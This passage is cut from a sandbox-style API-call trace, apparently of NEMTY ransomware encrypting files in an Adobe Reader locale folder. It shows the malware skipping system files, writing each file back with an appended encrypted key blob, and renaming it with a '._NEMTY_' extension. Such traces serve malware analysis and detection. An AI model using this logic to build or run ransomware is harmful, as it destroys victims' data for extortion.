Size=0xa0) returned 0x6340048 [0179.934] Sleep (dwMilliseconds=0x5) [0179.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee6d950, dwHighDateTime=0x1d561e8)) [0179.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee6d950, dwHighDateTime=0x1d561e8)) [0179.944] GetLastError () returned 0x0 [0179.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.944] GetLastError () returned 0x0 [0179.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.945] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.945] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="b7YlMcslS0csQ/T/n/nzQSPvhRCuk37L8RLPUXgX9btfHGbERWW8DGnkqmod4F8d\r\nA/UmC2I2+PmzKNyYgsld9YLBL6YWEEdr2NrNyAy9XMZa7t2WeAg1z9qQ3VHw4OlK\r\neGaM6tIIPNupP9eMJQLakhay39ab9pkyZ5m3ECH6RVtOjqr9AoJa91ewLvU71NoP\r\ntByYI9xeutqAOrsfYWtBJCDBCJd5S+nEo63XBPdtGiOXFwkZ2d7q/qKasVM1Cbrs\r\n3cBbYJ+LcZjDkW0OwspwWsjAzMOWn18HBpFvmgU6dPoWoPK0oGe9gD/WQBtPnXVk\r\nbTWmunBXhM29Ws+QUjx7yQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.946] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=39936) returned 1 [0179.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9c00) returned 0x6352c48 [0179.946] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.946] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9c00, lpOverlapped=0x0) returned 1 [0179.949] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.950] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9c00, lpOverlapped=0x0) returned 1 [0179.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00 [0179.950] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.950] CloseHandle (hObject=0x2e8) returned 1 [0179.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor._nemty_kgobjgd_")) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.951] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.NOR", cAlternateFileName="")) returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2=".") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="..") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="...") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="windows") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="rsa") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="NTDETECT.COM") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="ntldr") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="MSDOS.SYS") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="IO.SYS") returned -1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="boot.ini") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="boot.ini") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.951] lstrcmpiW (lpString1="IA32.NOR", lpString2="ntuser.dat") returned -1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="desktop.ini") returned 1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="CONFIG.SYS") returned 1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="RECYCLER") returned -1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="bootmgr") returned 1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="programdata") returned -1 [0179.952] lstrcmpiW (lpString1="IA32.NOR", lpString2="appdata") returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NOR", lpUsedDefaultChar=0x0) returned 8 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NOR", lpUsedDefaultChar=0x0) returned 8 [0179.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NOR", lpUsedDefaultChar=0x0) returned 8 [0179.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NOR", lpUsedDefaultChar=0x0) returned 8 [0179.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.952] Sleep (dwMilliseconds=0x5) [0179.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee93ab0, dwHighDateTime=0x1d561e8)) [0179.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee93ab0, dwHighDateTime=0x1d561e8)) [0179.960] GetLastError () returned 0x0 [0179.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.960] GetLastError () returned 0x0 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.961] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.961] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.961] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.961] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="VMFMiYOnRoSTbiveiIpQv9UoYMUDV2Grrdiewc1UEZSbYLhJ5GfTzUspGky55yZ5\r\nvu4NK2WZABrRori9Dt9+vVjv/GfzsBu8hV8ZdmjfrBeHYNNcqdu11dwUs6Mpf5HX\r\n5dAwb0pV2E8eWcI3vgvADXnb0Wij/PJOY4jn9VSSRTz3IAM7t440wTxlNMH2eCfQ\r\nmbKljble55kYRiiJbA9/I4+N4xmFdBZPSzJ5QanvG9SHCbZ5cZE7FncIzsaPeSz8\r\nK6NURxpdmyt8TAVl0VFwxnB/5Z2VlRlQUvyc3rGKA0/DOsk1xOaRA9DuUpl/s2jg\r\n1WDWWCw5jFpdOA5gGkg4Cw==\r\n", pcchString=0x653e5dc) returned 1 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.962] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0179.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0179.962] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.962] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0179.963] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.964] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0179.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.964] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0179.964] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.964] CloseHandle (hObject=0x2e8) returned 1 [0179.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.964] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor._nemty_kgobjgd_")) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.965] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.NOR", cAlternateFileName="MAKEAC~1.NOR")) returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2=".") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="..") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="...") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="windows") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="rsa") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="NTDETECT.COM") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="ntldr") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="MSDOS.SYS") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="IO.SYS") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="boot.ini") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="boot.ini") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="ntuser.dat") returned -1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="desktop.ini") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="CONFIG.SYS") returned 1 [0179.965] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="RECYCLER") returned -1 [0179.966] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.966] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="bootmgr") returned 1 [0179.966] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="programdata") returned -1 [0179.966] lstrcmpiW (lpString1="makeaccessible.NOR", lpString2="appdata") returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NOR", lpUsedDefaultChar=0x0) returned 18 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NOR", lpUsedDefaultChar=0x0) returned 18 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, 